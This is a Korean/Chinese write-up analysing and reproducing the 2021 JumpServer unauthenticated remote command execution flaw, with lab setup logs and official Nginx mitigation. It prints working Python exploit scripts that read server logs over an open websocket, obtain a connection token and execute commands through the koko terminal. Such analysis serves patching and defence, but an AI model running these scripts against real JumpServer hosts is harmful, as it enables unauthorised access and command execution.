점프서버 원격실행 취약점 분석 및 재현

0 소개

JumpServer는 오픈 소스 배스천 머신으로 4A 사양을 준수하는 운영 및 유지 관리 보안 감사 시스템이며 일반적으로 점핑 머신입니다.

2021년 1월 15일에 JumpServer는 원격 명령 실행 취약성을 수정한 보안 업데이트를 릴리스했습니다. JumpServer의 일부 인터페이스에는 인증 제한이 없기 때문에 공격자는 민감한 정보를 얻기 위해 악의적인 요청을 구성하거나 관련 작업을 수행하여 모든 시스템을 제어하고 임의의 명령을 실행할 수 있습니다.

영향을 받는 버전:

  • 점프서버 < v2.6.2
  • 점프서버 < v2.5.4
  • 점프서버 < v2.4.5
  • 점프서버 = v1.5.9

1. 취약점 분석

복구 코드의 커밋 레코드를 참조하십시오 .

CeleryLogWebsocket 클래스의 연결에 인증이 추가된 것으로 확인되었습니다.

import time
import os
import threading
import json

from common.utils import get_logger

from .celery.utils import get_celery_task_log_path
from .ansible.utils import get_ansible_task_log_path
from channels.generic.websocket import JsonWebsocketConsumer

logger = get_logger(__name__)


class TaskLogWebsocket(JsonWebsocketConsumer):
    disconnected = False

    log_types = {
        'celery': get_celery_task_log_path,
        'ansible': get_ansible_task_log_path
    }

    def connect(self):
        user = self.scope["user"]
        if user.is_authenticated and user.is_org_admin:
            self.accept()
        else:
            self.close()

    def get_log_path(self, task_id):
        func = self.log_types.get(self.log_type)
        if func:
            return func(task_id)

    def receive(self, text_data=None, bytes_data=None, **kwargs):
        data = json.loads(text_data)
        task_id = data.get('task')
        self.log_type = data.get('type', 'celery')
        if task_id:
            self.handle_task(task_id)

    def wait_util_log_path_exist(self, task_id):
        log_path = self.get_log_path(task_id)
        while not self.disconnected:
            if not os.path.exists(log_path):
                self.send_json({
    
    'message': '.', 'task': task_id})
                time.sleep(0.5)
                continue
            self.send_json({
    
    'message': '\r\n'})
            try:
                logger.debug('Task log path: {}'.format(log_path))
                task_log_f = open(log_path, 'rb')
                return task_log_f
            except OSError:
                return None

    def read_log_file(self, task_id):
        task_log_f = self.wait_util_log_path_exist(task_id)
        if not task_log_f:
            logger.debug('Task log file is None: {}'.format(task_id))
            return

        task_end_mark = []
        while not self.disconnected:
            data = task_log_f.read(4096)
            if data:
                data = data.replace(b'\n', b'\r\n')
                self.send_json(
                    {
    
    'message': data.decode(errors='ignore'), 'task': task_id}
                )
                if data.find(b'succeeded in') != -1:
                    task_end_mark.append(1)
                if data.find(bytes(task_id, 'utf8')) != -1:
                    task_end_mark.append(1)
            elif len(task_end_mark) == 2:
                logger.debug('Task log end: {}'.format(task_id))
                break
            time.sleep(0.2)
        task_log_f.close()

    def handle_task(self, task_id):
        logger.info("Task id: {}".format(task_id))
        thread = threading.Thread(target=self.read_log_file, args=(task_id,))
        thread.start()

    def disconnect(self, close_code):
        self.disconnected = True
        self.close()

이 클래스의 http 인터페이스를 확인하십시오.

이 클래스를 통해 이 인터페이스의 액세스 체인이 다음과 같다는 것을 알 수 있습니다.

访问ws/ops/tasks/log/
--> 进入TaskLogWebsocket类的receive函数
--> 进入TaskLogWebsocket类的handle_task函数
--> 进入TaskLogWebsocket类的read_log_file函数
--> 进入TaskLogWebsocket类的wait_util_log_path_exist函数
--> 进入TaskLogWebsocket类的read_log_file函数
--> 进入app/ops/utls.py中的get_task_log_path函数

taskid는 우리가 보낸 text_data에서 파싱되므로 제어할 수 있습니다. 다음과 같은 방법으로 /opt/jumpserver/logs/jumpserver.log 로그 파일을 읽을 수 있습니다.

向ws://10.10.10.10:8080/ws/ops/tasks/log/发送
{
    
    "task":"/opt/jumpserver/logs/jumpserver"}

위는 파일 읽기의 원칙이며 로그 파일 읽기에는 다음과 같은 제한이 있습니다.

  • 파일은 절대 경로를 통해서만 읽을 수 있습니다.
  • 로그로 끝나는 파일만 읽을 수 있습니다.

원격 코드 실행을 구현하는 방법을 분석해 보겠습니다.

/opt/jumpserver/logs/gunicorn.log를 읽으면 운이 좋으면 사용자 uid, 시스템 사용자 uid 및 자산 ID를 읽을 수 있습니다.

  • 사용자 아이디
  • 자산 ID
  • 시스템 사용자 ID

上述三个信息是需要存在用户正在登录web terminal才能从日志中拿到的,拿到之后。通过/api/v1/authentication/connection-token/ 接口,可以进去/apps/authentication/api/UserConnectionTokenApi

通过user_id asset_id system_user_id可以获取到只有20s有效期的token。这个token可以用来创建一个koko组件的tty:

https://github.com/jumpserver/koko/blob/master/pkg/httpd/webserver.go#342

--> https://github.com/jumpserver/koko/blob/4258b6a08d1d3563437ea2257ece05b22b093e15/pkg/httpd/webserver.go#L167

具体代码如下:

总结完整的rce利用步骤为:

  1. 未授权的情况下能够建立websocket连接
  2. task可控,可以通过websocket对日志文件进行读取
  3. 拿到日志文件中的系统用户,用户,资产字段
  4. 通过3中的字段,可以拿到20s的token
  5. 通过该token能够进入koko的tty,执行命令

2 漏洞复现

2.1 环境搭建

  • 本地环境:xubuntu20.04
  • jumpserver版本:2.6.1版本

安装步骤:

# 下载
git clone https://github.com/jumpserver/installer.git
cd installer 

# 国内docker源加速
export DOCKER_IMAGE_PREFIX=docker.mirrors.ustc.edu.cn

# 安装dev版本,再切换到2.6.1(应该可以直接安装2.6.1,一开始错装成了默认的dev版本,不过没关系)
sudo su
./jmsctl.sh install
./jmsctl.sh upgrade v2.6.1

# 启动
./jmsctl.sh restart

完整日志

# yanq @ yanq-desk in ~/gitrepo [22:18:53] C:127
$ git clone https://github.com/jumpserver/installer.git
正克隆到 'installer'...
remote: Enumerating objects: 467, done.
remote: Total 467 (delta 0), reused 0 (delta 0), pack-reused 467
接收对象中: 100% (467/467), 95.24 KiB | 182.00 KiB/s, 完成.
处理 delta 中: 100% (305/305), 完成.

# yanq @ yanq-desk in ~/gitrepo [22:20:27] 
$ cd installer   

# yanq @ yanq-desk in ~/gitrepo/installer on git:master o [22:20:30] 
$ ls
compose  config-example.txt  config_init  jmsctl.sh  README.md  scripts  static.env  utils

# yanq @ yanq-desk in ~/gitrepo [22:18:59] 
$ export DOCKER_IMAGE_PREFIX=docker.mirrors.ustc.edu.cn

# yanq @ yanq in ~/github/installer on git:master o [22:03:43] C:130
$ sudo su                   
root@yanq:/home/yanq/github/installer# ./jmsctl.sh install


       ██╗██╗   ██╗███╗   ███╗██████╗ ███████╗███████╗██████╗ ██╗   ██╗███████╗██████╗
       ██║██║   ██║████╗ ████║██╔══██╗██╔════╝██╔════╝██╔══██╗██║   ██║██╔════╝██╔══██╗
       ██║██║   ██║██╔████╔██║██████╔╝███████╗█████╗  ██████╔╝██║   ██║█████╗  ██████╔╝
  ██   ██║██║   ██║██║╚██╔╝██║██╔═══╝ ╚════██║██╔══╝  ██╔══██╗╚██╗ ██╔╝██╔══╝  ██╔══██╗
  ╚█████╔╝╚██████╔╝██║ ╚═╝ ██║██║     ███████║███████╗██║  ██║ ╚████╔╝ ███████╗██║  ██║
  ╚════╝  ╚═════╝ ╚═╝     ╚═╝╚═╝     ╚══════╝╚══════╝╚═╝  ╚═╝  ╚═══╝  ╚══════╝╚═╝  ╚═╝

                                                                   Version:  dev  



>>> 一、配置JumpServer
1. 检查配置文件
各组件使用环境变量式配置文件,而不是 yaml 格式, 配置名称与之前保持一致
配置文件位置: /opt/jumpserver/config/config.txt
完成

2. 配置 Nginx 证书
证书位置在: /opt/jumpserver/config/nginx/cert
完成

3. 备份配置文件
备份至 /opt/jumpserver/config/backup/config.txt.2021-01-17_22-03-52
完成

4. 配置网络
需要支持 IPv6 吗? (y/n)  (默认为n): n
完成

5. 自动生成加密密钥
完成

6. 配置持久化目录 
修改日志录像等持久化的目录,可以找个最大的磁盘,并创建目录,如 /opt/jumpserver
注意: 安装完后不能再更改, 否则数据库可能丢失

文件系统        容量  已用  可用 已用% 挂载点
udev            7.3G     0  7.3G    0% /dev
/dev/nvme0n1p2  468G  200G  245G   45% /
/dev/loop1       56M   56M     0  100% /snap/core18/1944
/dev/loop2       65M   65M     0  100% /snap/gtk-common-themes/1513
/dev/loop3      218M  218M     0  100% /snap/gnome-3-34-1804/60
/dev/loop0       56M   56M     0  100% /snap/core18/1932
/dev/loop5       32M   32M     0  100% /snap/snapd/10492
/dev/loop6       65M   65M     0  100% /snap/gtk-common-themes/1514
/dev/loop4       52M   52M     0  100% /snap/snap-store/498
/dev/loop7       52M   52M     0  100% /snap/snap-store/518
/dev/loop8      219M  219M     0  100% /snap/gnome-3-34-1804/66
/dev/loop9       32M   32M     0  100% /snap/snapd/10707
/dev/nvme0n1p1  511M  7.8M  504M    2% /boot/efi

设置持久化卷存储目录 (默认为/opt/jumpserver): 
完成

7. 配置MySQL
是否使用外部mysql (y/n)  (默认为n): n
完成

8. 配置Redis
是否使用外部redis  (y/n)  (默认为n): n
完成

>>> 二、安装配置Docker
1. 安装Docker
开始下载 Docker 程序 ...
--2021-01-17 22:04:12--  https://mirrors.aliyun.com/docker-ce/linux/static/stable/x86_64/docker-18.06.2-ce.tgz
正在解析主机 mirrors.aliyun.com (mirrors.aliyun.com)... 180.97.148.110, 101.89.125.248, 58.216.16.38, ...
正在连接 mirrors.aliyun.com (mirrors.aliyun.com)|180.97.148.110|:443... 已连接。
已发出 HTTP 请求,正在等待回应... 200 OK
长度: 43834194 (42M) [application/x-tar]
正在保存至: “/tmp/docker.tar.gz”

/tmp/docker.tar.gz                                          100%[===========================================================================================================================================>]  41.80M  13.8MB/s    用时 3.0s  

2021-01-17 22:04:16 (13.8 MB/s) - 已保存 “/tmp/docker.tar.gz” [43834194/43834194])

开始下载 Docker compose 程序 ...
--2021-01-17 22:04:17--  https://get.daocloud.io/docker/compose/releases/download/1.27.4/docker-compose-Linux-x86_64
正在解析主机 get.daocloud.io (get.daocloud.io)... 106.75.86.15
正在连接 get.daocloud.io (get.daocloud.io)|106.75.86.15|:443... 已连接。
已发出 HTTP 请求,正在等待回应... 302 FOUND
位置:https://dn-dao-github-mirror.daocloud.io/docker/compose/releases/download/1.27.4/docker-compose-Linux-x86_64 [跟随至新的 URL]
--2021-01-17 22:04:28--  https://dn-dao-github-mirror.daocloud.io/docker/compose/releases/download/1.27.4/docker-compose-Linux-x86_64
正在解析主机 dn-dao-github-mirror.daocloud.io (dn-dao-github-mirror.daocloud.io)... 240e:ff:a024:200:3::3fe, 240e:964:1003:302:3::3fe, 61.160.204.242, ...
正在连接 dn-dao-github-mirror.daocloud.io (dn-dao-github-mirror.daocloud.io)|240e:ff:a024:200:3::3fe|:443... 已连接。
已发出 HTTP 请求,正在等待回应... 200 OK
长度: 12218968 (12M) [application/x-executable]
正在保存至: “/tmp/docker-compose”

/tmp/docker-compose                                         100%[===========================================================================================================================================>]  11.65M  8.43MB/s    用时 1.4s  

2021-01-17 22:04:35 (8.43 MB/s) - 已保存 “/tmp/docker-compose” [12218968/12218968])

已安装 Docker版本 与 本安装包测试的版本(18.06.2-ce) 不一致, 是否更新? (y/n)  (默认为n): n
完成

2. 配置Docker
修改Docker镜像容器的默认存储目录,可以找个最大的磁盘, 并创建目录,如 /opt/docker
文件系统        容量  已用  可用 已用% 挂载点
udev            7.3G     0  7.3G    0% /dev
/dev/nvme0n1p2  468G  200G  245G   45% /
/dev/loop1       56M   56M     0  100% /snap/core18/1944
/dev/loop2       65M   65M     0  100% /snap/gtk-common-themes/1513
/dev/loop3      218M  218M     0  100% /snap/gnome-3-34-1804/60
/dev/loop0       56M   56M     0  100% /snap/core18/1932
/dev/loop5       32M   32M     0  100% /snap/snapd/10492
/dev/loop6       65M   65M     0  100% /snap/gtk-common-themes/1514
/dev/loop4       52M   52M     0  100% /snap/snap-store/498
/dev/loop7       52M   52M     0  100% /snap/snap-store/518
/dev/loop8      219M  219M     0  100% /snap/gnome-3-34-1804/66
/dev/loop9       32M   32M     0  100% /snap/snapd/10707
/dev/nvme0n1p1  511M  7.8M  504M    2% /boot/efi

Docker存储目录 (默认为/opt/docker): 
完成

3. 启动Docker
Docker 版本发生改变 或 docker配置文件发生变化,是否要重启 (y/n)  (默认为y): y
完成

>>> 三、加载镜像
[jumpserver/redis:6-alpine]
6-alpine: Pulling from jumpserver/redis
05e7bc50f07f: Pull complete 
14c9d57a1c7f: Pull complete 
ccd033d7ec06: Pull complete 
6ff79b059f99: Pull complete 
d91237314b77: Pull complete 
c47d41ba6aa8: Pull complete 
Digest: sha256:4920debee18fad71841ce101a7867743ff8fe7d47e6191b750c3edcfffc1cb18
Status: Downloaded newer image for jumpserver/redis:6-alpine
docker.io/jumpserver/redis:6-alpine

[jumpserver/mysql:5]
5: Pulling from jumpserver/mysql
6ec7b7d162b2: Pull complete 
fedd960d3481: Pull complete 
7ab947313861: Pull complete 
64f92f19e638: Pull complete 
3e80b17bff96: Pull complete 
014e976799f9: Pull complete 
59ae84fee1b3: Pull complete 
7d1da2a18e2e: Pull complete 
301a28b700b9: Pull complete 
979b389fc71f: Pull complete 
403f729b1bad: Pull complete 
Digest: sha256:b3b2703de646600b008cbb2de36b70b21e51e7e93a7fca450d2b08151658b2dd
Status: Downloaded newer image for jumpserver/mysql:5
docker.io/jumpserver/mysql:5

[jumpserver/nginx:alpine2]
alpine2: Pulling from jumpserver/nginx
c87736221ed0: Pull complete 
6ff0ab02fe54: Pull complete 
e5b318df7728: Pull complete 
b7a5a4fe8726: Pull complete 
Digest: sha256:d25ed0a8c1b4957f918555c0dbda9d71695d7b336d24f7017a87b2081baf1112
Status: Downloaded newer image for jumpserver/nginx:alpine2
docker.io/jumpserver/nginx:alpine2

[jumpserver/luna:dev]
dev: Pulling from jumpserver/luna
801bfaa63ef2: Pull complete 
b1242e25d284: Pull complete 
7453d3e6b909: Pull complete 
07ce7418c4f8: Pull complete 
e295e0624aa3: Pull complete 
d373a40639dd: Pull complete 
565ad7a883c2: Pull complete 
Digest: sha256:68be3762e065f9eae1bfef462dcd1394ca7a256d22e807d129cc9888c4159874
Status: Downloaded newer image for jumpserver/luna:dev
docker.io/jumpserver/luna:dev

[jumpserver/core:dev]
dev: Pulling from jumpserver/core
6ec7b7d162b2: Already exists 
80ff6536d04b: Pull complete 
2d04da85e485: Pull complete 
998aa32a5c8a: Pull complete 
7733ef26f344: Pull complete 
a3fc2d00adff: Pull complete 
0fceca9bd0c9: Pull complete 
6fd88063e2c9: Pull complete 
6b761cc0db94: Pull complete 
25d46cb4551e: Pull complete 
6da27e4adc2b: Pull complete 
e521a634bfca: Pull complete 
90d95c158108: Pull complete 
Digest: sha256:4733073dfbbf6ec5cf6738738e3305ecaf585bff343a3e4c9990398fd7efbb5c
Status: Downloaded newer image for jumpserver/core:dev
docker.io/jumpserver/core:dev

[jumpserver/koko:dev]
dev: Pulling from jumpserver/koko
6d28e14ab8c8: Pulling fs layer 
1473f8a0a4e1: Pulling fs layer 
683341f9f103: Pull complete 
631f019c17de: Pull complete 
f3a995ef2b4b: Pull complete 
c091dc645c6f: Pull complete 
4e858775bdf0: Pull complete 
fa772130cab7: Pull complete 
a0f79afbde1c: Pull complete 
fdaf81979833: Pull complete 
8d4986e114f0: Pull complete 
eeb197dd15a0: Pull complete 
271cd9c942c6: Pull complete 
fc8bb9405f48: Pull complete 
06a07acf5be2: Pull complete 
Digest: sha256:7e8327a84b8d593c7b8c48dec8fa6ee8bc31e43d6e2344ae0e82897beefc76f1
Status: Downloaded newer image for jumpserver/koko:dev
docker.io/jumpserver/koko:dev

[jumpserver/guacamole:dev]
dev: Pulling from jumpserver/guacamole
6c33745f49b4: Pulling fs layer 
ef072fc32a84: Pulling fs layer 
c0afb8e68e0b: Pulling fs layer 
d599c07d28e6: Pulling fs layer 
e8a829023b97: Waiting 
2709df21cc5c: Waiting 
3bfb431a8cf5: Waiting 
bb9822eef866: Waiting 
5842bda2007b: Pulling fs layer 
453a23f25fcb: Waiting 
c856ffeae983: Waiting 
c51581693e31: Pull complete 
0809345a90d0: Pull complete 
0ba7229a2102: Pull complete 
bf692785c490: Pull complete 
9d6086f6248b: Pull complete 
86c187652ab5: Pull complete 
07f50f434b4b: Pull complete 
9173a0544d33: Pull complete 
78884a472184: Pull complete 
940cbfe07a44: Pull complete 
f322e824f1f5: Pull complete 
02228eb4be13: Pull complete 
dfe141bc6b7b: Pull complete 
Digest: sha256:fc0cd386edca711b45d84f6c192269d176ee165196ced8654ae18ac21eba0dc3
Status: Downloaded newer image for jumpserver/guacamole:dev
docker.io/jumpserver/guacamole:dev

[jumpserver/lina:dev]
dev: Pulling from jumpserver/lina
801bfaa63ef2: Already exists 
b1242e25d284: Already exists 
7453d3e6b909: Already exists 
07ce7418c4f8: Already exists 
e295e0624aa3: Already exists 
b1e2e4ef9246: Pull complete 
cf63647ff370: Pull complete 
Digest: sha256:5572209db626212f06e4744ae297b5520f59671841c8e3713ce65bbec3ee5038
Status: Downloaded newer image for jumpserver/lina:dev
docker.io/jumpserver/lina:dev


>>> 四、安装完成了
1. 可以使用如下命令启动, 然后访问
./jmsctl.sh start

2. 其它一些管理命令
./jmsctl.sh stop
./jmsctl.sh restart
./jmsctl.sh backup
./jmsctl.sh upgrade
更多还有一些命令,你可以 ./jmsctl.sh --help来了解

3. 访问 Web 后台页面
http://192.168.1.7:8080
https://192.168.1.7:8443

4. ssh/sftp 访问
ssh [email protected] -p2222
sftp -P2222 [email protected]

5. 更多信息
我们的文档: https://docs.jumpserver.org/
我们的官网: https://www.jumpserver.org/


root@yanq:/home/yanq/github/installer# ./jmsctl.sh upgrade v2.6.1
你确定要升级到 v2.6.1 版本吗? (y/n)  (默认为n): y

1. 检查配置变更
完成

2. 检查程序文件变更
已安装 Docker版本 与 本安装包测试的版本(18.06.2-ce) 不一致, 是否更新? (y/n)  (默认为n): 
完成

3. 升级镜像文件
[jumpserver/redis:6-alpine]
6-alpine: Pulling from jumpserver/redis
Digest: sha256:4920debee18fad71841ce101a7867743ff8fe7d47e6191b750c3edcfffc1cb18
Status: Image is up to date for jumpserver/redis:6-alpine
docker.io/jumpserver/redis:6-alpine

[jumpserver/mysql:5]
5: Pulling from jumpserver/mysql
Digest: sha256:b3b2703de646600b008cbb2de36b70b21e51e7e93a7fca450d2b08151658b2dd
Status: Image is up to date for jumpserver/mysql:5
docker.io/jumpserver/mysql:5

[jumpserver/nginx:alpine2]
alpine2: Pulling from jumpserver/nginx
Digest: sha256:d25ed0a8c1b4957f918555c0dbda9d71695d7b336d24f7017a87b2081baf1112
Status: Image is up to date for jumpserver/nginx:alpine2
docker.io/jumpserver/nginx:alpine2

[jumpserver/luna:v2.6.1]
v2.6.1: Pulling from jumpserver/luna
801bfaa63ef2: Already exists 
b1242e25d284: Already exists 
7453d3e6b909: Already exists 
07ce7418c4f8: Already exists 
e295e0624aa3: Already exists 
9aa19406fcc2: Pull complete 
b88c1894aa70: Pull complete 
Digest: sha256:6889bc5825c8b608d3d086fa6713da5098665d9caaa6de0d2de2e30f27246fa4
Status: Downloaded newer image for jumpserver/luna:v2.6.1
docker.io/jumpserver/luna:v2.6.1

[jumpserver/core:v2.6.1]
v2.6.1: Pulling from jumpserver/core
852e50cd189d: Pull complete 
334ed303e4ad: Pull complete 
a687a65725ea: Pull complete 
fe607cb30fbe: Pull complete 
af3dd7a5d357: Pull complete 
5ed087772967: Pull complete 
de88310b192c: Pull complete 
3f3c40cb5584: Pull complete 
a616053790d8: Pull complete 
f78e4ffd4b11: Pull complete 
681df5236765: Pull complete 
6feeeb96a348: Pull complete 
8b170624587e: Pull complete 
Digest: sha256:1332e03847e45f1995845e1b74f1f3deb1f108da72ac5b8af087bc3775690e7b
Status: Downloaded newer image for jumpserver/core:v2.6.1
docker.io/jumpserver/core:v2.6.1

[jumpserver/koko:v2.6.1]
v2.6.1: Pulling from jumpserver/koko
6d28e14ab8c8: Already exists 
c4b1524d2f75: Pulling fs layer 
8522e19e2998: Pull complete 
106d5adca780: Pull complete 
e649208988b3: Pull complete 
fd02488ce54c: Pull complete 
8566396c9588: Pull complete 
5c3ae6b36882: Pull complete 
cb4e3aeda111: Pull complete 
3bc46e9d6be9: Pull complete 
919620ef3747: Pull complete 
3998a9375e49: Pull complete 
5869987766aa: Pull complete 
9fd39a172e25: Pull complete 
f60bfb937cc4: Pull complete 
Digest: sha256:242e96c7a992bf44ccbda321fb69c8ea4d39d5ff423cf8f1505e9856b1ac2496
Status: Downloaded newer image for jumpserver/koko:v2.6.1
docker.io/jumpserver/koko:v2.6.1

[jumpserver/guacamole:v2.6.1]
v2.6.1: Pulling from jumpserver/guacamole
c5e155d5a1d1: Pulling fs layer 
221d80d00ae9: Pulling fs layer 
4250b3117dca: Pulling fs layer 
d1370422ab93: Pulling fs layer 
deb6b03222ca: Pulling fs layer 
9cdea8d70cc3: Pulling fs layer 
968505be14db: Pulling fs layer 
04b5c270ac81: Pulling fs layer 
301d76fcab1f: Pulling fs layer 
f4d49608235a: Pulling fs layer 
f4c6404fd6f8: Pulling fs layer 
73ac8e900d64: Pulling fs layer 
eec0a1010dfa: Pull complete 
199219e1bcf7: Pull complete 
54d3328751a0: Pull complete 
68412973433c: Pull complete 
b45d84968434: Pull complete 
9569df8016cc: Pull complete 
642448bde40a: Pull complete 
e788dd92de90: Pull complete 
223eaf2bd9f6: Pull complete 
b68966fc02ad: Pull complete 
cf0eb6b2e415: Pull complete 
0b78188a975b: Pull complete 
704b69b91dcb: Pull complete 
Digest: sha256:cb80c430c14ad220edd6f20855da5f7ea256d75f5f87bebe29d7e27275c4beeb
Status: Downloaded newer image for jumpserver/guacamole:v2.6.1
docker.io/jumpserver/guacamole:v2.6.1

[jumpserver/lina:v2.6.1]
v2.6.1: Pulling from jumpserver/lina
801bfaa63ef2: Already exists 
b1242e25d284: Already exists 
7453d3e6b909: Already exists 
07ce7418c4f8: Already exists 
e295e0624aa3: Already exists 
2ec572beb6c1: Pull complete 
c7d22dce32ca: Pull complete 
Digest: sha256:8d63a0716558b4384f0eab2220bcfefe5ba2e040cbd33634576ba444c215212a
Status: Downloaded newer image for jumpserver/lina:v2.6.1
docker.io/jumpserver/lina:v2.6.1

完成
4. 备份数据库
正在备份...
mysqldump: [Warning] Using a password on the command line interface can be insecure.
备份成功! 备份文件已存放至: /opt/jumpserver/db_backup/jumpserver-2021-01-17_22:28:00.sql.gz 

5. 进行数据库变更
表结构变更可能需要一段时间,请耐心等待 (请确保数据库在运行)
2021-01-17 22:28:03 Collect static files
2021-01-17 22:28:03 Collect static files done
2021-01-17 22:28:03 Check database structure change ...
2021-01-17 22:28:03 Migrate model change to database ...

472 static files copied to '/opt/jumpserver/data/static'.
Operations to perform:
  Apply all migrations: admin, applications, assets, audits, auth, authentication, captcha, common, contenttypes, django_cas_ng, django_celery_beat, jms_oidc_rp, ops, orgs, perms, sessions, settings, terminal, tickets, users
Running migrations:
  No migrations to apply.
完成

6. 升级成功, 可以重启程序了
./jmsctl.sh restart

root@yanq:/home/yanq/github/installer# ./jmsctl.sh restart
Stopping jms_core ... done
Stopping jms_koko ... done
Stopping jms_guacamole ... done
Stopping jms_lina ... done
Stopping jms_luna ... done
Stopping jms_nginx ... done
Stopping jms_celery ... done
Removing jms_core ... done
Removing jms_koko ... done
Removing jms_guacamole ... done
Removing jms_lina ... done
Removing jms_luna ... done
Removing jms_nginx ... done
Removing jms_celery ... done


WARNING: The HOSTNAME variable is not set. Defaulting to a blank string.
jms_mysql is up-to-date
jms_redis is up-to-date
Creating jms_core ... done
Creating jms_lina      ... done
Creating jms_guacamole ... done
Creating jms_koko      ... done
Creating jms_celery    ... done
Creating jms_luna      ... done
Creating jms_nginx     ... done

2.2 读取日志

可以直接访问日志的websocket接口,在线测试websocket工具:http://coolaf.com/tool/chattest 或者使用扩展:https://chrome.google.com/webstore/detail/websocket-test-client/fgponpodhbmadfljofbimhhlengambbn

下面用代码测试:

import asyncio
import re

import websockets
import json

url = "/ws/ops/tasks/log/"

async def main_logic(t):
    print("#######start ws")
    async with websockets.connect(t) as client:
        await client.send(json.dumps({
    
    "task": "//opt/jumpserver/logs/jumpserver"}))
        while True:
            ret = json.loads(await client.recv())
            print(ret["message"], end="")

if __name__ == "__main__":
    host = "http://192.168.1.7:8080"
    target = host.replace("https://", "wss://").replace("http://", "ws://") + url
    print("target: %s" % (target,))
    asyncio.get_event_loop().run_until_complete(main_logic(target))

这里读到的就是jumpserver上/opt/jumpserver/core/logs/jumpserver目录下的日志。

搭建的漏洞环境中有如下日志可以读:

root@yanq:/opt/jumpserver/core/logs# ls -la
总用量 248
drwxr-xr-x 3 root root   4096 1月  17 23:59 .
drwxr-xr-x 4 root root   4096 1月  17 22:17 ..
drwxr-xr-x 2 root root   4096 1月  17 23:59 2021-01-17
-rw-r--r-- 1 root root      0 1月  17 22:17 ansible.log
-rw-r--r-- 1 root root   2978 1月  18 01:51 beat.log
-rw-r--r-- 1 root root   3122 1月  18 01:51 celery_ansible.log
-rw-r--r-- 1 root root    978 1月  18 01:51 celery_check_asset_perm_expired.log
-rw-r--r-- 1 root root   4332 1月  18 01:51 celery_default.log
-rw-r--r-- 1 root root      0 1月  17 23:59 celery_heavy_tasks.log
-rw-r--r-- 1 root root   4604 1月  18 01:51 celery_node_tree.log
-rw-r--r-- 1 root root   1919 1月  18 01:50 daphne.log
-rw-r--r-- 1 root root   1359 1月  17 22:18 drf_exception.log
-rw-r--r-- 1 root root      0 1月  17 23:59 flower.log
-rw-r--r-- 1 root root 191941 1月  18 01:52 gunicorn.log
-rw-r--r-- 1 root root   7470 1月  18 01:51 jumpserver.log
-rw-r--r-- 1 root root      0 1月  17 22:17 unexpected_exception.log

比如读取gunicorn.log:

除了读日志文件,还可以从/opt/jumpserver/logs/jumpserver读取到taskid,然后查看task的详细信息(当然taskid很可能已经失效了)

向ws://192.168.1.73:8080/ws/ops/tasks/log/发送
{
    
    "task":"33xxxxx"}

2.3 远程命令执行

需要在jumpserver中添加一台主机,并且用户登录web terminal。

登录过web terminal之后,在gunicorn.log可以拿到这三个信息。(从结果中搜索/asset-permissions/user/validate)

如果读到了这三个字段,可以利用/api/v1/users/connection-token/拿到一个token,将token发给koko组件可以拿到一个ssh凭证,就可以登陆用户机器了。

通过以下脚本进行远程命令执行利用

import asyncio
import websockets
import requests
import json

url = "/api/v1/authentication/connection-token/?user-only=None"

# 向服务器端发送认证后的消息
async def send_msg(websocket,_text):
    if _text == "exit":
        print(f'you have enter "exit", goodbye')
        await websocket.close(reason="user exit")
        return False
    await websocket.send(_text)
    recv_text = await websocket.recv()
    print(f"{recv_text}")

# 客户端主逻辑
async def main_logic(cmd):
    print("#######start ws")
    async with websockets.connect(target) as websocket:
        recv_text = await websocket.recv()
        print(f"{recv_text}")
        resws=json.loads(recv_text)
        id = resws['id']
        print("get ws id:"+id)
        print("###############")
        print("init ws")
        print("###############")
        inittext = json.dumps({
    
    "id": id, "type": "TERMINAL_INIT", "data": "{\"cols\":164,\"rows\":17}"})
        await send_msg(websocket,inittext)
        for i in range(20):
            recv_text = await websocket.recv()
            print(f"{recv_text}")
        print("###############")
        print("exec cmd: ls")
        cmdtext = json.dumps({
    
    "id": id, "type": "TERMINAL_DATA", "data": cmd+"\r\n"})
        print(cmdtext)
        await send_msg(websocket, cmdtext)
        for i in range(20):
            recv_text = await websocket.recv()
            print(f"{recv_text}")
        print('#######finish')


if __name__ == '__main__':
    host = "http://192.168.1.7:8080"
    cmd="whoami"
    if host[-1]=='/':
        host=host[:-1]
    print(host)
    data = {
    
    "user": "83b24e76-028b-4f49-9329-63e5e3ef10a4", "asset": "96b49ae4-1efd-483a-99bc-4b9708fc7471",
            "system_user": "a0899187-0c5f-4d57-8ab4-9a8628b74864"}
    print("##################")
    print("get token url:%s" % (host + url,))
    print("##################")
    res = requests.post(host + url, json=data)
    token = res.json()["token"]
    print("token:%s", (token,))
    print("##################")
    target = "ws://" + host.replace("http://", '') + "/koko/ws/token/?target_id=" + token
    print("target ws:%s" % (target,))
    asyncio.get_event_loop().run_until_complete(main_logic(cmd))

3 修复方案

以下根据官方文档:

  1. 将JumpServer升级至安全版本;
  2. 临时修复方案:

修改 Nginx 配置文件屏蔽漏洞接口

/api/v1/authentication/connection-token/
/api/v1/users/connection-token/

Nginx 配置文件位置

# 社区老版本
/etc/nginx/conf.d/jumpserver.conf

# 企业老版本
jumpserver-release/nginx/http_server.conf
 
# 新版本在 
jumpserver-release/compose/config_static/http_server.conf

修改 Nginx 配置文件实例

# 保证在 /api 之前 和 / 之前
location /api/v1/authentication/connection-token/ {
    
    
   return 403;
}
 
location /api/v1/users/connection-token/ {
    
    
   return 403;
}
# 新增以上这些
 
location /api/ {
    
    
    proxy_set_header X-Real-IP $remote_addr;
    proxy_set_header Host $host;
    proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    proxy_pass http://core:8080;
  }

...

修改完成后重启 nginx

docker方式: 
docker restart jms_nginx

nginx方式:
systemctl restart nginx

修复验证

$ wget https://github.com/jumpserver/jumpserver/releases/download/v2.6.2/jms_bug_check.sh 

# 使用方法 bash jms_bug_check.sh HOST 
$ bash jms_bug_check.sh demo.jumpserver.org
漏洞已修复

参考

추천

출처blog.csdn.net/m0_64910183/article/details/130003180